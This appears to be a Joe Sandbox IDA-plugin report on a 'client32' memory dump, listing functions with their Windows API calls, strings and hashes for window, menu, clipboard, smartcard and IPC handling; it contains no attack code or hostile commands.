GetUserNameEx ret %d, %s, time=%d ms, e=%d, xrefs: 111357A6
GetUserNameExA, xrefs: 1113575C

Memory Dump Source

Source File: 0000000B.00000002.3754579299.0000000011001000.00000020.00000001.01000000.00000008.sdmp, Offset: 11000000, based on PE: true

Associated: 0000000B.00000002.3754555931.0000000011000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754701171.0000000011181000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111CD000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111DC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.00000000111E1000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.000000001120E000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011210000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011213000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011215000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011241000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011332000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: LibraryTimetime$AddressCloseErrorFreeLastLoadOpenProcVersion_memset_strncpy
String ID: GetUserNameEx ret %d, %s, time=%d ms, e=%d$GetUserNameExA$secur32.dll
API String ID: 780815626-3523682560
Opcode ID: 811087eced48bf1352f6921602963d150d6912d54705ec714e7290c854b1a43f
Instruction ID: bfca20c34ba55109964591b9ec2aab8120f7022172a2dbe8792ba9d2971a07f3
Opcode Fuzzy Hash: 811087eced48bf1352f6921602963d150d6912d54705ec714e7290c854b1a43f
Instruction Fuzzy Hash: CC21A176D00665ABDB119FA8DD88BAFFFB8EB45B25F144125ED15E3244E7309900CBE0

Function 110CD5C0 Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 164COMMON

Download Yara Rule

APIs

std::_Xinvalid_argument.LIBCPMT ref: 110CD5E0

Part of subcall function 1114EE63: std::exception::exception.LIBCMT ref: 1114EE78
Part of subcall function 1114EE63: __CxxThrowException@8.LIBCMT ref: 1114EE8D
Part of subcall function 1114EE63: std::exception::exception.LIBCMT ref: 1114EE9E

_memmove.LIBCMT ref: 110CD667
_memmove.LIBCMT ref: 110CD68B
_memmove.LIBCMT ref: 110CD6C5
_memmove.LIBCMT ref: 110CD6E1
std::exception::exception.LIBCMT ref: 110CD72B
__CxxThrowException@8.LIBCMT ref: 110CD740

Strings

deque<T> too long, xrefs: 110CD5DB

Memory Dump Source

Source File: 0000000B.00000002.3754579299.0000000011001000.00000020.00000001.01000000.00000008.sdmp, Offset: 11000000, based on PE: true

Associated: 0000000B.00000002.3754555931.0000000011000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754701171.0000000011181000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111CD000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111DC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.00000000111E1000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.000000001120E000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011210000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011213000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011215000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011241000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011332000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: _memmove$std::exception::exception$Exception@8Throw$Xinvalid_argumentstd::_
String ID: deque<T> too long
API String ID: 827257264-309773918
Opcode ID: 53509356ea8bdf0e54952da7c3cb1b9069d41bb1bf0bff1c0fd6a3581a53c676
Instruction ID: 6781a1fe05296667d86fcfe15e514985d94196c5d48f867e94dc86382c5f7813
Opcode Fuzzy Hash: 53509356ea8bdf0e54952da7c3cb1b9069d41bb1bf0bff1c0fd6a3581a53c676
Instruction Fuzzy Hash: 0D51B676E001059BDB44CFA8CC81AAEFBE5AF94614F19C6A9D819D7344EA74FA01CBD0

Function 110C3200 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 143COMMON

Download Yara Rule

APIs

GetWindowRect.USER32(00000000,?), ref: 110C325D
BeginDeferWindowPos.USER32(?), ref: 110C327F
GetWindowRect.USER32(?,?), ref: 110C32A9
MapWindowPoints.USER32(00000000,00000000,?,00000002), ref: 110C32D6
DeferWindowPos.USER32(?,?,00000000,?,?,?,?,00000017), ref: 110C3365

Part of subcall function 11027FB0: GetLastError.KERNEL32(?,00000000,?), ref: 11027FCC
Part of subcall function 11027FB0: wsprintfA.USER32 ref: 11028017
Part of subcall function 11027FB0: MessageBoxA.USER32(00000000,?,Client32,00000000), ref: 11028053
Part of subcall function 11027FB0: ExitProcess.KERNEL32 ref: 11028069

EndDeferWindowPos.USER32(00000000), ref: 110C3381

Strings

e:\nsmsrc\nsm\1201\1201f2\ctl32\wndclass.h, xrefs: 110C3243
m_hWnd, xrefs: 110C3248

Memory Dump Source

Source File: 0000000B.00000002.3754579299.0000000011001000.00000020.00000001.01000000.00000008.sdmp, Offset: 11000000, based on PE: true

Associated: 0000000B.00000002.3754555931.0000000011000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754701171.0000000011181000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111CD000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111DC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.00000000111E1000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.000000001120E000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011210000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011213000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011215000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011241000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011332000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Window$Defer$Rect$BeginErrorExitLastMessagePointsProcesswsprintf
String ID: e:\nsmsrc\nsm\1201\1201f2\ctl32\wndclass.h$m_hWnd
API String ID: 553022447-1557312927
Opcode ID: c001c96da27efb8ecc90982f93b48cea9dc7f9539eb4b79afcd969ba7f90e69b
Instruction ID: 7f695be0691b523cdd1d5d21dea229869abac41504e52d19061d8b85fb76dc47
Opcode Fuzzy Hash: c001c96da27efb8ecc90982f93b48cea9dc7f9539eb4b79afcd969ba7f90e69b
Instruction Fuzzy Hash: 0051D0B6E00609AFCB10CFA9C984A9EFBF5BF88314F148259E855A7744C730B941CFA0

Function 1110B0D0 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 139COMMON

Download Yara Rule

APIs

Part of subcall function 111057A0: GetClientRect.USER32(?,?), ref: 111057CA

GetWindowRect.USER32(?,?), ref: 1110B100
MapWindowPoints.USER32(00000000,?,?,00000002), ref: 1110B112
GetClientRect.USER32(?,?), ref: 1110B120
GetScrollRange.USER32(?,00000000,?,?), ref: 1110B161
GetSystemMetrics.USER32(00000003), ref: 1110B171
GetScrollRange.USER32(?,00000001,?,00000000), ref: 1110B184
GetSystemMetrics.USER32(00000002), ref: 1110B18E

Strings

GetParentDims, wl=%d,wt=%d,wr=%d,wb=%d, cl=%d,ct=%d,cr=%d,cb=%d, dl=%d,dt=%d,dr=%d,db=%d, xrefs: 1110B1D4

Memory Dump Source

Source File: 0000000B.00000002.3754579299.0000000011001000.00000020.00000001.01000000.00000008.sdmp, Offset: 11000000, based on PE: true

Associated: 0000000B.00000002.3754555931.0000000011000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754701171.0000000011181000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111CD000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111DC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.00000000111E1000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.000000001120E000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011210000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011213000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011215000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011241000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011332000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Rect$ClientMetricsRangeScrollSystemWindow$Points
String ID: GetParentDims, wl=%d,wt=%d,wr=%d,wb=%d, cl=%d,ct=%d,cr=%d,cb=%d, dl=%d,dt=%d,dr=%d,db=%d
API String ID: 4172599486-2052393828
Opcode ID: 64ddedc56d88887bb4451be383381c356aadea2b9397b7b8a9063e4f72324cbb
Instruction ID: 963abaf8dc2dfbd8bd83222bbfeff6eec01238f1e7f741d42411ca3803a77853
Opcode Fuzzy Hash: 64ddedc56d88887bb4451be383381c356aadea2b9397b7b8a9063e4f72324cbb
Instruction Fuzzy Hash: BA51B0B5E00609AFDB04CFA8D985AEEFBF9FF88314F108529E519A3240D770A941CF64

Function 11123160 Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 128COMMON

Download Yara Rule

APIs

Part of subcall function 11059580: __wcstoi64.LIBCMT ref: 110595BD

GetTickCount.KERNEL32 ref: 111231A0
Beep.KERNEL32(00000000,00000000), ref: 11123295

Strings

BeepWhileViewed, xrefs: 1112317F
Client, xrefs: 11123184, 111231DE
*SoundWhileViewed, xrefs: 111231D9

Memory Dump Source

Source File: 0000000B.00000002.3754579299.0000000011001000.00000020.00000001.01000000.00000008.sdmp, Offset: 11000000, based on PE: true

Associated: 0000000B.00000002.3754555931.0000000011000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754701171.0000000011181000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111CD000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111DC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.00000000111E1000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.000000001120E000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011210000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011213000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011215000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011241000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011332000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: BeepCountTick__wcstoi64
String ID: *SoundWhileViewed$BeepWhileViewed$Client
API String ID: 666309045-3409951188
Opcode ID: d920f05703bcd11949c8e46f564084d737ad2e5f5d74a240adc2f0c53d488819
Instruction ID: 88fc7c2c2ff2b611e8e8a37401301b3f6159e5831b8fa70f0dc415b1a958c5df
Opcode Fuzzy Hash: d920f05703bcd11949c8e46f564084d737ad2e5f5d74a240adc2f0c53d488819
Instruction Fuzzy Hash: 56417B36A1C6616BD7518A608D84BDFFB298F5B718FB04264EC6897180FF30E941CB51

Function 11015410 Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 113COMMON

Download Yara Rule

APIs

SetPropA.USER32(?,?), ref: 1101547F

Part of subcall function 11027FB0: GetLastError.KERNEL32(?,00000000,?), ref: 11027FCC
Part of subcall function 11027FB0: wsprintfA.USER32 ref: 11028017
Part of subcall function 11027FB0: MessageBoxA.USER32(00000000,?,Client32,00000000), ref: 11028053
Part of subcall function 11027FB0: ExitProcess.KERNEL32 ref: 11028069

Part of subcall function 11015190: BeginPaint.USER32(?,?), ref: 110151BF
Part of subcall function 11015190: GetWindowRect.USER32(00000000,?), ref: 110151EC
Part of subcall function 11015190: _memset.LIBCMT ref: 110151FA
Part of subcall function 11015190: CreateFontIndirectA.GDI32(?), ref: 11015216
Part of subcall function 11015190: SelectObject.GDI32(00000000,00000000), ref: 1101522A
Part of subcall function 11015190: SetBkMode.GDI32(00000000,00000001), ref: 11015235
Part of subcall function 11015190: BeginPath.GDI32(00000000), ref: 11015242
Part of subcall function 11015190: TextOutA.GDI32(00000000,00000000,00000000), ref: 11015260
Part of subcall function 11015190: EndPath.GDI32(00000000), ref: 11015267
Part of subcall function 11015190: PathToRegion.GDI32(00000000), ref: 1101526E
Part of subcall function 11015190: CreateSolidBrush.GDI32(?), ref: 11015280
Part of subcall function 11015190: CreateSolidBrush.GDI32(?), ref: 11015296
Part of subcall function 11015190: CreatePen.GDI32(00000000,00000002,?), ref: 110152B0
Part of subcall function 11015190: SelectObject.GDI32(00000000,00000000), ref: 110152BE
Part of subcall function 11015190: SelectObject.GDI32(00000000,?), ref: 110152CE

GetPropA.USER32(?), ref: 1101548E
wsprintfA.USER32 ref: 110154C3
RemovePropA.USER32(?), ref: 110154F8
DefWindowProcA.USER32(?,?,?,?), ref: 11015521

Strings

..\ctl32\NSMIdentifyWnd.cpp, xrefs: 11015445, 11015463, 110154D3
hWnd=%x, uiMsg=x%x, wP=x%x, lP=x%x, xrefs: 110154BD
NSMIdentifyWnd::m_aProp, xrefs: 11015468

Memory Dump Source

Source File: 0000000B.00000002.3754579299.0000000011001000.00000020.00000001.01000000.00000008.sdmp, Offset: 11000000, based on PE: true

Associated: 0000000B.00000002.3754555931.0000000011000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754701171.0000000011181000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111CD000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111DC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.00000000111E1000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.000000001120E000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011210000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011213000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011215000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011241000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011332000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Create$ObjectPathPropSelect$BeginBrushSolidWindowwsprintf$ErrorExitFontIndirectLastMessageModePaintProcProcessRectRegionRemoveText_memset
String ID: ..\ctl32\NSMIdentifyWnd.cpp$NSMIdentifyWnd::m_aProp$hWnd=%x, uiMsg=x%x, wP=x%x, lP=x%x
API String ID: 1924375018-841114059
Opcode ID: ec3e1234084b3d82126ba732f157090ad2e44ab0648003b83a7f936b10213f93
Instruction ID: 2915d23f9928799d524ed0ec110504297751baa3e875027ded2e10bedea347e8
Opcode Fuzzy Hash: ec3e1234084b3d82126ba732f157090ad2e44ab0648003b83a7f936b10213f93
Instruction Fuzzy Hash: 9531A976E01125ABDB11CF94DC84FAEB7A8FF4A319F04816AF9069F144EB359940CB61

Function 1103F210 Relevance: 14.1, APIs: 4, Strings: 4, Instructions: 105COMMON

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 1103F27C
_malloc.LIBCMT ref: 1103F29A

Part of subcall function 111515D1: __FF_MSGBANNER.LIBCMT ref: 111515EA
Part of subcall function 111515D1: __NMSG_WRITE.LIBCMT ref: 111515F1
Part of subcall function 111515D1: RtlAllocateHeap.NTDLL(00000000,00000001,?,?,?,?,111028FE,?,?,?,?,111343F2,?,?,?), ref: 11151616

GetLastError.KERNEL32 ref: 1103F30C
_free.LIBCMT ref: 1103F321

Part of subcall function 11027FB0: GetLastError.KERNEL32(?,00000000,?), ref: 11027FCC
Part of subcall function 11027FB0: wsprintfA.USER32 ref: 11028017
Part of subcall function 11027FB0: MessageBoxA.USER32(00000000,?,Client32,00000000), ref: 11028053
Part of subcall function 11027FB0: ExitProcess.KERNEL32 ref: 11028069

Strings

CLTCONN.CPP, xrefs: 1103F2D9
Error %d reading from smartcard device, xrefs: 1103F313
transferred == datalen, xrefs: 1103F2DE
Read %u bytes from smartcard device, xrefs: 1103F2EF

Memory Dump Source

Source File: 0000000B.00000002.3754579299.0000000011001000.00000020.00000001.01000000.00000008.sdmp, Offset: 11000000, based on PE: true

Associated: 0000000B.00000002.3754555931.0000000011000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754701171.0000000011181000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111CD000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111DC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.00000000111E1000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.000000001120E000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011210000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011213000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011215000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011241000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011332000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: ErrorLast$AllocateExitHeapMessageProcess_free_mallocwsprintf
String ID: CLTCONN.CPP$Error %d reading from smartcard device$Read %u bytes from smartcard device$transferred == datalen
API String ID: 492257515-1619960733
Opcode ID: 45337b85cd20c82b6ba6e7d5a7b1afb4a068f215ff6c3b5f05ba6ffaf63b7d09
Instruction ID: 5c0ce5a60e48b42dacdb937ef0d5d9348949da67155b38d00fc4e8c999954ed4
Opcode Fuzzy Hash: 45337b85cd20c82b6ba6e7d5a7b1afb4a068f215ff6c3b5f05ba6ffaf63b7d09
Instruction Fuzzy Hash: EA3190B5E0050AAFCB00DF98DC80EAFF7B9FB89714F544559E915A3380E731A9048BA2

Function 11005170 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 104windowCOMMON

Download Yara Rule

APIs

GetMenuItemCount.USER32(?), ref: 1100517E
_memset.LIBCMT ref: 110051A0
GetMenuItemID.USER32(?,00000000), ref: 110051B4
CheckMenuItem.USER32(?,00000000,00000000), ref: 11005211
EnableMenuItem.USER32(?,00000000,00000000), ref: 11005227
GetMenuItemInfoA.USER32(?,00000000,00000001,00000030), ref: 11005248
SetMenuItemInfoA.USER32(?,00000000,00000001,00000030), ref: 11005274

Strings

0, xrefs: 110051AD

Memory Dump Source

Source File: 0000000B.00000002.3754579299.0000000011001000.00000020.00000001.01000000.00000008.sdmp, Offset: 11000000, based on PE: true

Associated: 0000000B.00000002.3754555931.0000000011000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754701171.0000000011181000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111CD000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111DC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.00000000111E1000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.000000001120E000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011210000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011213000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011215000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011241000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011332000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: ItemMenu$Info$CheckCountEnable_memset
String ID: 0
API String ID: 2755257978-4108050209
Opcode ID: 49b977d40c07f5e2c66648d899f03e2c19a34532f2eedabc1b5daecf0946c252
Instruction ID: 6013c0d9d1bdd2596c58563bf639684a5b16c11bd1ef64a9a4ff28934d00860a
Opcode Fuzzy Hash: 49b977d40c07f5e2c66648d899f03e2c19a34532f2eedabc1b5daecf0946c252
Instruction Fuzzy Hash: 71316E71D01219AFEB01DFA4D885BEEBBFCEF4A798F008059F941A6240E7B59944CB60

Function 110311D0 Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 97registryclipboardCOMMON

Download Yara Rule

APIs

_malloc.LIBCMT ref: 1103122A
_memset.LIBCMT ref: 11031261
RegisterClipboardFormatA.USER32(?), ref: 11031289
GetLastError.KERNEL32 ref: 11031294

Part of subcall function 11027FB0: GetLastError.KERNEL32(?,00000000,?), ref: 11027FCC
Part of subcall function 11027FB0: wsprintfA.USER32 ref: 11028017
Part of subcall function 11027FB0: MessageBoxA.USER32(00000000,?,Client32,00000000), ref: 11028053
Part of subcall function 11027FB0: ExitProcess.KERNEL32 ref: 11028069

_memmove.LIBCMT ref: 110312DE

Strings

(*ppClipData)->pData, xrefs: 11031248
..\ctl32\clipbrd.cpp, xrefs: 11031208, 11031243
!*ppClipData, xrefs: 1103120D

Memory Dump Source

Source File: 0000000B.00000002.3754579299.0000000011001000.00000020.00000001.01000000.00000008.sdmp, Offset: 11000000, based on PE: true

Associated: 0000000B.00000002.3754555931.0000000011000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754701171.0000000011181000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111CD000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111DC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.00000000111E1000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.000000001120E000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011210000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011213000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011215000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011241000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011332000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: ErrorLast$ClipboardExitFormatMessageProcessRegister_malloc_memmove_memsetwsprintf
String ID: !*ppClipData$(*ppClipData)->pData$..\ctl32\clipbrd.cpp
API String ID: 2414640225-228067302
Opcode ID: de00dd6ae2d3d7f906a03fecd9d9ec7b5d09c710752e4d4d289d86674a34989d
Instruction ID: 14e8dd57a7feced4d25e4c3e85cd85d2286920d3da7b542c8ccc3d839dc859fc
Opcode Fuzzy Hash: de00dd6ae2d3d7f906a03fecd9d9ec7b5d09c710752e4d4d289d86674a34989d
Instruction Fuzzy Hash: 44318DB9A00706ABD714DF64C881F6AF3B4FF89708F14C558E9598B340EB70EA54CBA0

Function 110B1410 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 94windowCOMMON

Download Yara Rule

APIs

GetMenu.USER32(00000000), ref: 110B1448
EnableWindow.USER32(00000000,00000000), ref: 110B1483
EnableWindow.USER32(00000000,00000000), ref: 110B14AD
EnableWindow.USER32(00000000,00000000), ref: 110B14DD
EnableWindow.USER32(?,00000000), ref: 110B14E4
EnableMenuItem.USER32(110B689C,00000000,00000002), ref: 110B14FE

Part of subcall function 11027FB0: GetLastError.KERNEL32(?,00000000,?), ref: 11027FCC
Part of subcall function 11027FB0: wsprintfA.USER32 ref: 11028017
Part of subcall function 11027FB0: MessageBoxA.USER32(00000000,?,Client32,00000000), ref: 11028053
Part of subcall function 11027FB0: ExitProcess.KERNEL32 ref: 11028069

Strings

e:\nsmsrc\nsm\1201\1201f2\ctl32\wndclass.h, xrefs: 110B1432, 110B1466, 110B1493, 110B14C3
m_hWnd, xrefs: 110B1437, 110B146B, 110B1498, 110B14C8

Memory Dump Source

Source File: 0000000B.00000002.3754579299.0000000011001000.00000020.00000001.01000000.00000008.sdmp, Offset: 11000000, based on PE: true

Associated: 0000000B.00000002.3754555931.0000000011000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754701171.0000000011181000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111CD000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111DC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.00000000111E1000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.000000001120E000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011210000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011213000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011215000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011241000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011332000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Enable$Window$Menu$ErrorExitItemLastMessageProcesswsprintf
String ID: e:\nsmsrc\nsm\1201\1201f2\ctl32\wndclass.h$m_hWnd
API String ID: 703148351-1557312927
Opcode ID: 3c57b5d810544df76335c1307041a00c7c7120df7f96d05c297ab18d3a0fa9b2
Instruction ID: c715c16d4c75479b9699dac4ef5c5b91c87fbe03cd8a25a8d52e0fd67f325f0a
Opcode Fuzzy Hash: 3c57b5d810544df76335c1307041a00c7c7120df7f96d05c297ab18d3a0fa9b2
Instruction Fuzzy Hash: 5021F675F40612BBC315DB75DC84FDAFBA5BF45218F048128EA085B181EB34A851CBE5

Function 11025740 Relevance: 14.1, APIs: 3, Strings: 5, Instructions: 94sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(00000032), ref: 110257E9
GetTickCount.KERNEL32 ref: 110257F7
GetTickCount.KERNEL32 ref: 11025807

Strings

Warning. IPC msg but no wnd. Waiting..., xrefs: 110257BF
HandleIPC ret %x, took %d ms, xrefs: 11025810
Warning. IPC took %d ms - possible unresponsiveness, xrefs: 11025827
IPC, what=%d, msg=x%x, wP=x%x, lP=x%x, timeout=%d, sender=x%x (%d), xrefs: 11025798
IPC copydata, dw=%d, cb=%d, pv=x%x, sender=x%x (%d), xrefs: 11025779

Memory Dump Source

Source File: 0000000B.00000002.3754579299.0000000011001000.00000020.00000001.01000000.00000008.sdmp, Offset: 11000000, based on PE: true

Associated: 0000000B.00000002.3754555931.0000000011000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754701171.0000000011181000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111CD000.00000004.00000001.01000000.00000008.sdmpDownload File
